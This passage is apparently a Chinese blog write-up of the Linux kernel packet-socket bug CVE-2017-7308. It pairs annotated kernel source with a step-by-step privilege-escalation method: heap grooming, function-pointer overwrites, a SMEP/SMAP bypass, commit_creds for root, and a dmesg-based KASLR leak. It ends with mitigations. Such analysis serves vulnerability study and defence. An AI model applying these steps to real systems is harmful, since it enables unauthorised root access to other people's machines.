(int)0x7fffffd0 = 0x7fffffd0 > 0

之后,在init_prb_bdqc()函数中,当req_u->req3.tp_sizeof_priv (unsigned int)被赋值到p1->blk_sizeof_priv (unsigned short)时(参考前文提到的代码片段),它会被分割成两个低位字节,而后者的类型是unsigned short。因此我们可以利用这个bug,将tpacket_kbdq_core结构体中的blk_sizeof_priv设置为任意值,以绕过所有的完整性检查过程。

漏洞后果net/packet/af_packet.c中有两处使用到了blk_sizeof_priv。分别是init_prb_bdqc()prb_open_block()。总之该漏洞会导致内核堆越界写入,我们能控制的大小和偏移量最多可达64k字节(可控的p1->blk_sizeof_privunsigned short 2字节,2的16次方也即64K字节)。

// init_prb_bdqc()
static void init_prb_bdqc(struct packet_sock *po,
			struct packet_ring_buffer *rb,
			struct pgv *pg_vec,
			union tpacket_req_u *req_u)
{
	struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);
	struct tpacket_block_desc *pbd;
	...
	p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;						// 此时blk_sizeof_priv刚被赋值。

	p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);	// (1)用来设置max_frame_len变量的值。p1->max_frame_len的值代表可以保存到内存块中的某个帧大小的最大值。由于我们可以控制p1->blk_sizeof_priv,我们可以使BLK_PLUS_PRIV(p1->blk_sizeof_priv)的值大于p1->kblk_size的值。这样会导致p1->max_frame_len取的一个非常大的值,比内存块的大小更大。这样当某个帧被拷贝到内存块中时,我们就可以绕过对它的大小检测过程,最终导致内核堆越界写入问题。
	prb_init_ft_ops(p1, req_u);
	prb_setup_retire_blk_timer(po);
	prb_open_block(p1, pbd);
}

// prb_open_block() —— 初始化一个内存块
static void prb_open_block(struct tpacket_kbdq_core *pkc1,
	struct tpacket_block_desc *pbd1)
{
	struct timespec ts;
	struct tpacket_hdr_v1 *h1 = &pbd1->hdr.bh1;
	...
	pkc1->pkblk_start = (char *)pbd1;										// pbd1 是第1个内存块的地址
	pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);	// (2)当内核收到新的数据包时,数据包的写入地址存放在pkc1->nxt_offset中。内核不想覆盖内存块头部以及内存块对应的私有数据,因此它会将这个地址指向紧挨着头部和私有数据之后的那个地址。由于我们可以控制blk_sizeof_priv,因此我们也可以控制 nxt_offset 的最低的两个字节(char *nxt_offset,因为 p1->blk_sizeof_priv 是 unsigned short 类型)。这样我们就能够控制越界写入的偏移量。

	BLOCK_O2FP(pbd1) = (__u32)BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);		//
	BLOCK_O2PRIV(pbd1) = BLK_HDR_LEN;
	...
}

victim对象packet_sock

vul对象:内存块。用户传入参数 tpacket_req3->tp_sizeof_privunsigned int,每个内存块中私有区域的大小,用户可以使用这个区域存放与每个内存块有关的任何信息),赋值给内核packet_sock (rx_ring) -> packet_ring_buffer (prb_bdqc) -> tpacket_kbdq_core -> blk_sizeof_privunsigned short)导致溢出。 溢出对象是内存块,内存块的头部是tpacket_block_desc


三、漏洞利用

3-1 堆操作

目标:选取packet_sock对象作为victim对象(包含可被覆盖的函数指针),使内核将环形缓冲区和packet_sock对象分配在一起。

ring buffer分配原理:前面提到过,环形缓冲区内存块通过内核页面分配器进行分配。内核页面分配器可以为内存块分配2^n字节连续的内存页面。对于每个n值,分配器会为这类内存块维护一个freelist表,并在请求内存块时返回freelist表头。如果某个n值对应的freelist为空,分配器就会查找第一个满足m>n且其freelist不为空的值,然后将freelist分为两半,直到所需的大小得到满足。因此,如果我们开始以2^n大小重复分配内存块,那么在某些时候,这些内存块会由某个高位内存块分裂所得,且这些内存块会彼此相邻。

packet_sock对象分配原理packet_sock对象通过slab分配器使用kmalloc()函数进行分配。slab分配器主要用于分配比单内存页还小的那些对象。它使用页面分配器分配一大块内存,然后切割这块内存,生成较小的对象。大的内存块称之为slabs,这也就是slab分配器的名称来源。一组slabs与它们的当前状态以及一组操作(如“分配对象”操作,以及“释放对象”操作)一起,统称为一个缓存(cache)。slab分配器会按照2^n大小,为对象创建一组通用的缓存。每当kmalloc(size)函数被调用时,slab分配器会将size调整到与2的幂最为接近的一个值,使用这个size作为缓存的大小。

由于内核一直使用的都是kmalloc()函数,如果我们试图分配一个对象,那么这个对象很大的可能会来自于之前已经创建的一个slab中。然而,如果我们开始分配同样大小的对象,那么在某些时候,slab分配器会将同样大小的slab全部用光,然后不得不使用**页面分配器**分配另一个slab

新创建的slab的大小取决于这个slab所用的对象大小。packet_sock结构体的大小大约为1920,而1024 < 1920 <= 2048,这意味着对象的大小会调整到2048,并且会使用kmalloc-2048缓存。对于这个特定的缓存,SLUB分配器(这个分配器是Ubuntu所使用的slab分配器)会使用大小为0x8000的slabs。因此每当分配器用光`kmalloc-2048`缓存的slab时,它就会使用**页面分配器**分配0x8000字节的空间

方法:将一个kmalloc-2048的slab和一个环形缓冲区内存块分配在一起,使用如下步骤。构造连续的多个packet_sock结构体使前一个packet_sock->rx_ring->prb_bdqc->nxt_offset指向后面的packet_sock结构体的两个成员(packet_sock->xmitpacket_sock->rx_ring->prb_bdqc->retire_blk_timer)。

  • 1.分配许多大小为2048的对象(创建512个socket,其中的packet_sock对象),消耗当前kmalloc-2048缓存中存在的slabs。
  • 2.分配许多大小为0x8000的页面内存块(创建1个socket,其中设置1024个块大小为 0x8000 的ring_buffer),消耗页面分配器的freelist中相应大小的页。因为申请物理页的大小也是按2^n计算,这样之后再申请就会从第一个大于nmfreelist中不为空的2^m大小的页中分割内存
  • 3.创建一个数据包套接字,并设置2个内存块大小为0x8000的环形缓冲区。第2个内存块(为什么使用2个内存块,原因在下面解释)就是我们需要溢出的那个内存块。
  • 4.创建一堆数据包套接字来分配多个packet_sock结构体对象,这样它们会有很大机会在更大的页上被连续得分配。

这样我们就可以对堆进行精确操作,如下图所示:为了排挤freelists、按照上述方法精确操作堆,我们需要分配的具体数量会根据设置的不同以及内存使用情况的不同而有所不同。对于一个大部分时间处于空闲状态的Ubuntu主机来说,使用我上面提到的个数就已足够。

4-heap layout

3-2 控制溢出数据

目标:上面我提到过,这个bug会导致某个环形缓冲区内存块的越界写入,我们可以控制越界的偏移量,也可以控制写入数据的最大值。事实证明,我们不仅能够控制最大值和偏移量,我们实际上也能控制正在写入的精确数据(及其大小)。由于当前正在存放到环形缓冲区中的数据为正在通过特定网络接口的数据包,我们可以通过回环接口,使用原始套接字手动发送具有任意内容的数据包。如果我们在一个隔离的网络命名空间中执行这个操作,我们就不会受到外部网络流量干扰。

注意

  • 1.数据包的大小至少必须为14字节(两个mac地址占了12字节,而EtherType占了2个字节),以便传递到数据包套接字层。这意味着我们必须覆盖至少14字节的数据,而数据包本身的内容可以取任意值。
  • 2.出于对齐目的,`nxt_offset`的最低3个比特必须取值为2。这意味着我们不能在8字节对齐的偏移处开始执行覆盖操作。
  • 3.当数据包被接收然后保存到内存块中时,内核会更新内存块和帧头中的某些字段。如果我们将nxt_offset指向我们希望覆盖的某些特定偏移处,那么内存块和帧头结束部位的某些数据很有可能会被破坏。
  • 4.如果我们将nxt_offset指向内存块的尾部,那么当第一个数据包正在接收时,第一个内存块会马上被关闭,这是因为内核会认为第一个内存块中没有任何空余的空间(这是正确的处理流程,可以参考__packet_lookup_frame_in_block()函数中的代码片段)。这不是一个真正的问题,因为我们可以创建一个具备2个内存块的环形缓冲区,在第一个内存块被关闭时,我们可以覆盖第二个内存块

3-3 执行代码

覆盖函数指针:需用到packet_sock结构体中的两个字段。

  • packet_sock->xmit : 每当用户尝试使用数据包套接字发送数据包时,就会调用第一个函数。提升到root权限的通常方法是在某个进程上下文中执行commit_creds(prepare_kernel_cred(0))载荷。对于第一个函数,进程上下文中会调用xmit指针,这意味着我们可以简单地将其指向一个包含载荷的可执行内存区域就能达到目的。
  • packet_sock->rx_ring->prb_bdqc->retire_blk_timer->func :因此,我使用的是retire_blk_timer字段(CVE-2016-8655漏洞中也利用了这个字段)。这个字段包含一个函数指针,每当计时器超时时就会触发这个指针。在正常的数据包套接字操作过程中,retire_blk_timer->func指向的是prb_retire_rx_blk_timer_expired(),调用这个函数时会使用retire_blk_timer->data作为参数,这个参数中包含了packet_sock结构体对象的地址。由于我们可以一起覆盖函数字段和数据字段,因此我们可以获得一个非常完美的func(data)覆盖结果。

绕过SMEP / SMAP:将CR4寄存器的第20和21比特位清零。可调用native_write_cr4(X),X的第20和21位为0,具体值取决于哪些CPU功能被启用,一般为0x407f0。可采用sched_setaffinity()强制利用程序在某个CPU核心上运行,只禁用该核心的SMEP/SMAP,确保用户空间载荷在同一个核心上运行。

利用步骤

  • 1.找到内核文本地址,以绕过KASLR。
  • 2.根据上文描述,操纵内核堆。
  • 3.禁用SMEP和SMAP:
    • a) 在某个环形缓冲区内存块之后分配一个packet_sock对象;
    • b) 将一个接收环形缓冲区附加到packet_sock对象之后,以设置一个内存块停用计时器;
    • c) 溢出这个内存块,覆盖retire_blk_timer字段。使得retire_blk_timer->func指向native_write_cr4,并且使得retire_blk_timer->data的值与所需的CR4寄存器值相等;
    • d) 等待计时器执行,现在我们就可以在当前的CPU核心上禁用SMEP和SMAP了。
  • 4.获取root权限:
    • a) 分配另一对packet_sock对象和环形缓冲区内存块。
    • b) 溢出这个内存块,覆盖xmit字段。使得xmit指向用户空间中分配的一个commit_creds(prepare_kernel_cred(0))函数。
    • c) 在对应的数据包套接字上发送一个数据包,xmit就会被触发,然后当前的进程就会获得root权限。

注意:需要注意的是,当我们覆盖packet_sock结构体中的这两个字段时,我们最终会破坏在这两个字段之前的某些字段(因为内核会将某些值写入内存块和帧头中),这可能会导致内核崩溃。然而,如果其他这些字段没有被内核使用,那么一切都还好。我发现当我们在漏洞利用结束后,尝试关闭所有的数据包套接字时,mclist这个字段会导致内核崩溃,但我们只要将其清零即可。

5-fake packet_sock

3-4 绕过KASLR

本文只是利用dmesg读取内核syslog日志中的”Freeing SMP”关键词来搜索内核指针——$ dmesg | grep 'Freeing SMP'。因为Ubuntu默认情况下不会限制dmesg,这并不通用,所以我在测试时关闭了KASLR。并且使用这种方式计算出来的内核文本地址只有在启动之后的一段时间内有效,因为syslog只存储固定行数的这类日志,然后在某些时候抹掉这些日志。

3-5 成功

succeed


四、缓解措施

由于利用时,需要CAP_NET_RAW权限才能创建数据包套接字,非特权用户可以在用户命名空间中获取这个权限。可以通过完全禁用用户命名空间或者禁止非特权用户使用这类空间来缓解这类内核漏洞。要彻底禁用用户命名空间,你可以在禁用CONFIG_USER_NS的条件下,重新编译自己的内核。从4.9版内核起,上游内核中就具有类似的“/proc/sys/user/max_user_namespaces”设置。


参考:

Exploiting the Linux kernel via packet sockets

【技术分享】如何通过数据包套接字攻击Linux内核

CVE-2017-7308 Linux Kernel packet_set_ring 整数符号错误漏洞分析及利用(本地提权)

文档信息

Search

    Table of Contents